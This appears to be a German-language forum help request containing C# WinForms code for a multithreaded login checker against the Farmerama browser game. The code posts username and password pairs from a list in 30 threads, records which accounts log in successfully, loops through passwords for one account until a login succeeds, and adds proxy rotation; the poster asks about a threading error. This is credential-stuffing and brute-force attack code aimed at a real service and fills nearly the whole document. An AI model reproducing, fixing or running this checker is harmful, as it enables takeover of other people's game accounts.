Brwosergame Login per Httpwebrequest mit Threads

private void button1_Click(object sender, EventArgs e)
        {
            button1.Enabled = false;

            button2.Enabled = true;
            checkerThread = new Thread[Convert.ToInt32(30)];
            isRunning = true;
            for (int i = 0; i <= Convert.ToInt32(30) - 1; i++)
            {
                int input = i;
string  usernmae = FarmView.Items[Usernmaeanzahl].SubItems[0].Text.ToString();
                        string pw = FarmView.Items[Usernmaeanzahl].SubItems[1].Text.ToString();
                    string input = usernmae  + ":" + pw;
                checkerThread[i] = new Thread(new ParameterizedThreadStart(FarmChecking));
                checkerThread[i].Start(input);
            }
        }


        private void updateApplication(string status)
        {
            richTextBox1.Text += status;
        }


       private void FarmChecking(object Index)
        {
            while (isRunning)
            {
                try
                {
                    if (richTextBox1.InvokeRequired)
                        richTextBox1.Invoke(new updateApplicationDel(updateApplication), "JA");
                    else
                        richTextBox1.Text = "JA";

                    string ocolto = Index.ToString();
                    string usernmae = ocolto.Split(':')[0].ToString();
                    string pw = ocolto.Split(':')[1].ToString();
                    CookieContainer cookieContainer = new CookieContainer();
                    string loginData = "loginForm_default_username=" + usernmae + "&loginForm_default_password=" + pw + "&loginForm_default_login_submit=Login";
                    ASCIIEncoding encoding = new ASCIIEncoding();
                    byte[] data = Encoding.UTF8.GetBytes(loginData);

                    HttpWebRequest myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171");
                    myRequest.Method = "POST";
                    myRequest.Host = "farmerama.bigpoint.com";
                    myRequest.Referer = "http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171";
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.ServicePoint.Expect100Continue = false;
                    myRequest.UserAgent = "UMozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/19.0 Firefox/19.0";
                    myRequest.ContentType = "application/x-www-form-urlencoded";
                    myRequest.ContentLength = data.Length;
                    Stream newStream = myRequest.GetRequestStream();
                    newStream.Write(data, 0, data.Length);
                    newStream.Close();
                    HttpWebResponse myRes = (HttpWebResponse)myRequest.GetResponse();

                    myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?action=internalGame");
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.Method = "GET";
                    myRes = (HttpWebResponse)myRequest.GetResponse();
                    StreamReader srs = new StreamReader(myRes.GetResponseStream());



                    string html = srs.ReadToEnd();
                    Htmlüberprüfen(html, usernmae, pw);
                }

                catch
                {
                }
            }

        }


        private void button2_Click(object sender, EventArgs e)
        {
            button1.Enabled = true;
            button2.Enabled = false;
            isRunning = false;

            for (int i = 0; i <= Convert.ToInt32(30) - 1; i++)
            {
                checkerThread[i].Abort();
            }
        }


        private void Htmlüberprüfen(string html, string username, string pw)
        {
            if (html.Contains(username))
            {
                ListViewItem item1 = new ListViewItem();
                item1.Text = username;
                item1.SubItems.Add(pw);
                Farmenview.Items.Add(item1);
            }
            else
            {
                ListViewItem item1 = new ListViewItem();
                item1.Text = username;
                item1.SubItems.Add(pw);
                Farmenviewnicht.Items.Add(item1);
            }

        }

string loginData = "loginForm_default_username=" + Username " + &loginForm_default_password=" + Passwort + "&loginForm_default_login_submit=Login";
                    ASCIIEncoding encoding = new ASCIIEncoding();
                    byte[] data = Encoding.UTF8.GetBytes(loginData);

                    HttpWebRequest myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171");
                    myRequest.Method = "POST";
                    myRequest.Host = "farmerama.bigpoint.com";
                    myRequest.Referer = "http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171";
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.ServicePoint.Expect100Continue = false;
                    myRequest.UserAgent = "UMozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/19.0 Firefox/19.0";
                    myRequest.ContentType = "application/x-www-form-urlencoded";
                    myRequest.ContentLength = data.Length;
                    Stream newStream = myRequest.GetRequestStream();
                    newStream.Write(data, 0, data.Length);
                    newStream.Close();
                    HttpWebResponse myRes = (HttpWebResponse)myRequest.GetResponse();

                    myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?action=internalGame");
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.Method = "GET";
                    myRes = (HttpWebResponse)myRequest.GetResponse();
                    StreamReader srs = new StreamReader(myRes.GetResponseStream());
                    string html = srs.ReadToEnd();
                    if (html.Contains(Username))
                    {
                        richTextBox1.Text += "Eingelogt Passwort = " + Passwort;
                        Eingelogt = true;
                        button2.Enabled = false;
                        button1.Enabled = true;
                        anzahl = 0;
                    }
                    else
                    {
                        richTextBox1.Text += "Nicht Eingelogt Passwort = " + Passwort + "\r\n";
                        anzahl++;
                        
                    }
                    myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/index.php?action=externalLogout");
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.Method = "GET";
                    myRes = (HttpWebResponse)myRequest.GetResponse();
                    Application.DoEvents();

public delegate string SimpleDelegate(string a , string b);

private void button1_Click(object sender, EventArgs e)
        {
            Form1 ff = new Form1();
            SimpleDelegate add = new SimpleDelegate(ff.proxys);
            button1.Enabled = false;
            button2.Enabled = true;
            eingelgot = false;
            checkerThread = new Thread[Convert.ToInt32(30)];
            isRunning = true;
            Proxyanzahl = 0;
            for (int i = 0; i <= Convert.ToInt32(30) - 1; i++)
            {
                int input = i;
                checkerThread[i] = new Thread(new ParameterizedThreadStart(FarmChecking));
                checkerThread[i].Start(input);
            }
        }

public string proxys(string a , string b)
        {
            return a + ":" + b.ToUpper();
        }

private void FarmChecking(object Index)
        {
            while (isRunning)
            {
                if (eingelgot == true)
                {
                    checkerThread[(int)Index].Abort();
                }
                try
                {
                    
                    Proxyanzahl++;
                    CookieContainer cookieContainer = new CookieContainer();
                    
      //hier ist der fehler//              string Proxy = proxys(Proxyview.Items[Proxyanzahl].SubItems[0].Text.ToString(), Proxyview.Items[Proxyanzahl].SubItems[1].Text.ToString());
                    ...................

if (richTextBox1.InvokeRequired)
                        richTextBox1.Invoke(new updateApplicationDel(updateApplication), "JA");
                    else
                        richTextBox1.Text = "JA";